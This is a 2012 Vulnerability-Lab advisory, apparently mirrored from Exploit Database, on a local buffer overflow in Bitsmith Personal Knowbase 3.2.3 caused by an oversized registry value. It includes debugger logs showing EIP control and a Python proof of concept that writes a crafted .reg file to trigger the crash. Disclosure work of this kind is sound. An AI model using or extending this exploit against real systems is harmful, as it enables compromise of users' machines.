Bitsmith PS Knowbase 3.2.3 – Local Buffer Overflow

• Exploit Database
• 17 阅读

• 作者： Vulnerability-Lab
  日期： 2012-03-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18681/

• Title:
  ======
  Bitsmith PS Knowbase 3.2.3 - Buffer Overflow Vulnerability
  
  
  Date:
  =====
  2012-03-29
  
  
  References:
  ===========
  http://www.vulnerability-lab.com/get_content.php?id=474
  
  
  VL-ID:
  =====
  474
  
  
  Introduction:
  =============
  Personal Knowbase is a program for organizing free-form information using keywords. Build a personal knowledge base 
  of all your notes, messages, and ideas. Store and index your information in one place for easy retrieval using keywords that you 
  choose. The attachment feature even associates disk files and Internet addresses with your notes, so you can access any 
  computerized information using the same set of keywords.
  
  �Reduce paper clutter.
  �Save hard disk space by consolidating small text files.
  �Gather related information together.
  �Find your information easily.
  �Protect your private information with passwords.
  �Cross-reference your notes with hypertext links.
  
  (Copy of the Vendor Homepage: http://www.bitsmithsoft.com/ )
  
  
  Abstract:
  =========
  A Vulnerability Laboratory Researcher discovered a local Buffer Overflow vulnerability on Bitsmiths Personal Knowbase v3.2.3. 
  
  
  Report-Timeline:
  ================
  2012-03-14:	Vendor Notification 1
  2012-03-16:	Vendor Notification 2
  2012-03-20:	Vendor Notification 3
  2012-03-30:	Public or Non-Public Disclosure
  
  
  Status:
  ========
  Published
  
  
  Affected Products:
  ==================
  Bitsmith
  Product: Personal Knowbase v3.2.3
  
  
  Exploitation-Technique:
  =======================
  Local
  
  
  Severity:
  =========
  High
  
  
  Details:
  ========
  A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3. 
  The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry valueKnowbase Data
  within the Key[HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories]results in a 
  local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry 
  value and has to trick the victim to open and cancel theFileOpen dialogue.
  
  Vulnerable Module(s):
  [+] knowbase.exe
  
  
  ---Debugger Logs---
  # 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844)
  
  # Registers:
  # EAX 00000000
  # ECX 41414141
  # EDX 005716E8 knowbase.005716E8
  # EBX 00000001
  # ESP 0012F730 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
  CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
  # EBP 0012F738 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
  CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
  # ESI 00527DF8 knowbase.00527DF8
  # EDI 00570BC8 knowbase.00570BC8
  # EIP 41414141
  
  # Stack:
  # 0012F724 41414141AAAA
  # 0012F728 FFFFFFFF
  # 0012F72C 42424242BBBB
  # 0012F730 43434343CCCC
  # 0012F734 43434343CCCC
  # 0012F738 43434343CCCC
  # 0012F73C 43434343CCCC
  
  # Dump:
  # 0012F71041 41 41 41 41 41 41 41AAAAAAAA
  # 0012F71841 41 41 41 41 41 41 41AAAAAAAA
  # 0012F72041 41 41 41 41 41 41 41AAAAAAAA
  # 0012F728FF FF FF FF 42 42 42 42BBBB
  # 0012F73043 43 43 43 43 43 43 43CCCCCCCC
  # 0012F73843 43 43 43 43 43 43 43CCCCCCCC
  # 0012F74043 43 43 43 43 43 43 43CCCCCCCC
  
  
  Picture(s):
  ../1.png
  
  
  Proof of Concept:
  =================
  The vulnerability can be exploited by local attackers. Successful exploitation requires user inter actionby clicking the dialog 
  file open or cancel. For demonstration or reproduce ...
  
  
  #!/usr/bin/python
   
  # Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow 
  # Version: 3.2.3
  # Tested on: Windows XP SP3 Professional German
  # Howto: Import Reg -> Start App -> Open File --> Cancel
  
  file="poc.reg"
  
  junk1="\x41" * 272
  boom="\x42\x42\x42\x42"
  junk2="\x43" * 100
  
  poc="Windows Registry Editor Version 5.00\n\n"
  poc=poc + "[HKEY_CURRENT_USER\Software\Bitsmith Software\Personal Knowbase\Directories]\n"
  poc=poc + "\"Knowbase Data\"=\"" + junk1 + boom + junk2 + "\""
  
  try:
  print "[*] Creating exploit file...\n";
  writeFile = open (file, "w")
  writeFile.write( poc )
  writeFile.close()
  print "[*] File successfully created!";
  except:
  print "[!] Error while creating file!";
  
  
  
  Risk:
  =====
  The security risk of the local buffer overflow vulnerability is estimated as high(-).
  
  
  Credits:
  ========
  Vulnerability Research Laboratory -Julien Ahrens(MrTuxracer)[www.inshell.net]
  
  
  Disclaimer:
  ===========
  The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
  either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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  other media, are reserved by Vulnerability-Lab or its suppliers.
  
  						Copyright � 2012|Vulnerability-Lab
  
  
  
  
  -- 
  VULNERABILITY RESEARCH LABORATORY TEAM
  Website: www.vulnerability-lab.com
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